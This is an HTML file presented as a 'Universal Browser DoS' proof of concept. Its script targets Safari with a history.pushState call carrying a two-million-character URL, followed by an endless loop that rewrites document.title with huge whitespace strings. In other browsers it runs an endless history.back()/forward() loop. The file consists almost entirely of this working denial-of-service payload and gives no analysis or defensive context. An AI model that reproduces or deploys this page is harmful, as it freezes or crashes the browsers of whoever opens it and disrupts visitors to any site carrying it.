Universal Browser DoS

ubDoS.html

<title>Title / History</title>
<script>
if (navigator.userAgent.indexOf('Chrome') == -1 && navigator.userAgent.indexOf('Safari') > -1) {
    
    if(!String.prototype.repeat){(function(){'use strict';
                                             var defineProperty=(function(){try{var object={};
                                             var $defineProperty=Object.defineProperty;
                                             var result=$defineProperty(object,object,object)&&$defineProperty}catch(error){}return result}());
                                             var repeat=function(count){if(this==null){throw TypeError()}
                                             var string=String(this);
                                             var n=count?Number(count):0;
                                                                        if(n!=n){n=0}if(n<0||n==Infinity){throw RangeError()}
                                             var result='';while(n)
                                             {
                                               if(n%2==1){result+=string}
                                               if(n>1){string+=string}n>>=1}return result};
                                               if(defineProperty){defineProperty(String.prototype,'repeat',{'value':repeat,'configurable':true,'writable':true})}
                                             else{String.prototype.repeat=repeat}}())}
    var title = '\u000B'.repeat(2000000);
    var titleR = '\u0009'.repeat(2000000);
    history.pushState({}, '', `/${title}.`);
    while(true) {
        document.title=title;
        document.title=titleR;
    }
} else {
    document.location.href='#';
    while(true) {
        history.back();
        history.forward();
    }
}
</script>